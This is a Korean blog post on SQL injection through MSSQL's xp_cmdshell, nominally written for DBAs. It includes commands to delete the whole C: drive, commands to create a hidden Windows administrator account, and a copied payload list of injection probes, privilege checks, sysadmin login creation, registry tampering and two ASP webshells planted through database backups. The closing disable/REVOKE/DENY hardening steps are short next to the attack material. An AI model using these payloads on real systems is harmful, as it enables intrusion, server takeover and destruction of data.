컨텐츠 바로가기

SQL Injection - xp_cmdshell

http://totoriver.egloos.com/3012348

SQL INJECTION으로 인한 공격사례를 무지 많으므로 직접 구글링해서 하나하나 직접 찾아보길 바란다.

특히나 DBA를 꿈꾸는 개발자라면..... 아무리 유행이 지낫더라도 알아야 대처할것이다...^^

 

SQL INJECTION 공격문제의 근본은 대게가 동적 질의어(Dynamic SQL)의 사용에서 오는 경우가 많다.
Client 초기접근에서부터 깐깐한 프로시저로 방어하면 조금 덜할텐데 말이다..


일단 2007년 이후로 이러한 공격은 마니 유행이 자니긴 한것 같다. 하지만 크래킹 초보자들에겐 아직두 삼삼한 예제꺼리가 된다는것을 염두해 두구 가급적 서버에 날라오는 질의어는 동적으로 구성하지 말고 사막처럼 건조한 분기처리를 하기 바란다.

 

구글링에서 SQL INJECTION이라 찾아보믄 단골루 나오는 넘 하나만 설명해 보겠다.
바로 이넘.....  xp_cmdshell 이넘 아주 잘 쓰믄 유용하다. 반대로 잘못 건드리믄 아작이 나기쉬운 시스템 저장 프로시저이다.

이때문에 SQL2005에서는 기본적으로 xp_cmdshell이 비활성화 되어있다. 이전 강좌의 방법등으로 일단 친입에 성공하고 나서

xp_cmdshell프로시저를 이용해서 서버를 공격하게 되면 서버는 완전 무방비 상태가 되어버린다.

 

일단 테스트를 위해서 xp_cmdshell를 활성화 시켜보자.


USE master

 

IF OBJECT_ID('xp_cmdshell') IS NULL

EXEC SP_ADDEXTENDEDPROC 'xp_cmdshell', 'xplog70.dll'

GO

 

EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1

RECONFIGURE

GO

 

EXEC SP_CONFIGURE 'XP_CMDSHELL', 1

RECONFIGURE

GO

 

활성화가 되었다...
이넘의 유용한점은 MSDN을 보면 될것이다. http://msdn.microsoft.com/ko-kr/library/ms175046.aspx 
DBA가 잘만 사용하면 아주 유용할 수도 있는넘이긴 분명하다. 하지만 오죽하믄 2005버전에서는 비활성화가 기본이겠는가...ㅋㅋㅋ 일단 자신없스믄 사용하지 않는것이 좋다는 것이다.


이넘으루 몰 할 수 있는지 일단 간단하게...
첫번째....

EXEC master..xp_cmdshell 'dir c:\'     -- 목록 보기
EXEC master..xp_cmdshell'dir c:\ > C:\test.txt'  -- 목록을 파일로 저장

-- 디렉터리 내에 쓰기 권한이 있을경우만 가능함 예) 파일업로드 디렉터리는 반드시 쓰기 권한이 존재해야 함

C 드라이브내의 모든 파일과 하위 디엑토리 목록을 취할 수 있게 된다.
여기까정은 아주 좋다.

 

두번째(실행하지 말라....!!!)

EXEC master..xp_cmdshell'del c:\ /q/s'  -- 삭제


이케하믄 C 드라이브내의 파일들이 삭제되어 버린다.

 

세번째....

컴(서버)를 Sysadmin 권한 계정으로 DB연동시 아래와 같이
접근자 생성이 자유로와 지게 된다.
걍 집열쇠 갖다 바친 겪이다...T_T

EXEC master..xp_cmdshell 'net user /add Test'

EXEC master..xp_cmdshell 'net localgroup administrators /add Test'

EXEC master..xp_cmdshell 'net user username password /add Test'

 

상당히 많은 예제가 존재하므로
이 이상의 예제는 복사신공으로 대체하도록 하겠다.

 

MSSQL 인젝션 해킹기법
출처 : www.itbank-love.com
--------------------------------------------------------------------------------


1. 다음과 같은 조건식을 삽입한다.
 ;and 1=1
 ;and 1=2
 ;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
 ;and (select count(*) from sysobjects)>0 mssql
 ;and (select count(*) from msysobjects)>0 access
 
3. where 조건식을 넣어 본다.
 'and ''=' 
 'and  '%25'='


4. select 구문을 사용한다.
 ;and (Select Count(*) from [테이블명])>0 --
 ;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 
(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
 
6. 데이터베이스 권한

 ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
 ;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기 
 ;exec master.dbo.sp_addlogin username;--
 ;exec master.dbo.sp_password null,username,password;--
 ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
 ;exec master.dbo.xp_cmdshell 'net user username password /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
8. dir 결과쿼리하기 
 ;create table dirs(paths varchar(100), id int)
 ;insert dirs exec master.dbo.xp_dirtree 'c:' 
 ;and (select top 1 paths from dirs)>0
 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
 ;insert temp exec master.dbo.xp_availablemedia;-- 
 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

 xp_regenumvalues 
 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  
 
xp_regread  
 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  
 
xp_regwrite  
 ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

 xp_regdeletevalue
 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
 use model
 create table cmd(str image);
 insert into cmd(str) values ('<% Dim oScript %>');
 backup database model to disk='c:l.asp';
 
11.버전확인하기
 ;and (select @@version)>0 
 ;and user_name()='dbo'
 ;and (select user_name())>0 
 ;and (select db_name())>0 


12.webshell
 use model 
 create table cmd(str image);
 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
 backup database model to disk='g:wwwtestl.asp';

*-


마지막으로 xp_cmdshell을 다시 비활성화 시키도록 하자.

 

USE MASTER

 

IF OBJECT_ID('xp_cmdshell') IS NOT NULL

   EXEC SP_DROPEXTENDEDPROC 'xp_cmdshell'

GO

 

EXEC SP_CONFIGURE 'xp_cmdshell', 0

RECONFIGURE

GO

 

EXEC SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 0;

RECONFIGURE

 

-- 완전제거(선택)

DBCC xp_cmdshell(free)

 

REVOKE, GRANT 문으로 사용권한을 지정하는 방법과 DENY문을 이용한 EXECUTE 권한 설정은 낭중에 DBA쪽 강좌가 있으면 다시 함 논해 보도록 하겠다.
왜냐면 꼭 알아 두어야 할 부분이고 좀 길어질것 같기 때문이다.

REVOKE EXECUTE ON xp_cmdshell TO PUBLIC     -- 제한

GRANT  EXECUTE ON xp_cmdshell TO PUBLIC     -- 허가

DENY   EXECUTE ON master..xp_cmdshell TO guest CASCADE  -- EXECUTE 제한

 

마지막으로 SQLServer에 저장된 DTS 패키지 보안 설정에 관한 MSDN을 한번 읽어보길 권장한다.
http://msdn.microsoft.com/ko-kr/library/cc645944.aspx

 

영향을 받는 DTS 시스템 저장 프로시저
다음 목록은 실행 권한이 PUBLIC으로 부여되어 잠재적인 보안 문제가 발생할 수 있는 DTS 시스템 저장 프로시저의 목록입니다.

sp_add_dtspackage

sp_drop_dtspackage

sp_dump_dtslog_all

sp_dump_dtspackagelog

sp_dump_dtssteplog

sp_dump_dtstasklog

sp_enum_dtspackagelog

sp_enum_dtspackages

sp_enum_dtssteplog

sp_enum_dtstasklog

sp_get_dtspackage

sp_get_dtsversion

sp_log_dtspackage_begin

sp_log_dtspackage_end

sp_log_dtsstep_begin

sp_log_dtsstep_end

sp_log_dtstask

sp_make_dtspackagename

sp_reassign_dtspackageowner

 

영향을 받지 않는 DTS 시스템 저장 프로시저
다음은 실행 권한이 PUBLIC으로 부여되지 않는 DTS 시스템 저장 프로시저의 목록입니다.

sp_add_dtscategory

sp_drop_dtscategory

sp_enum_dtscategories

sp_modify_dtscategory

sp_reassign_dtspackagecategory

 


덧글|신고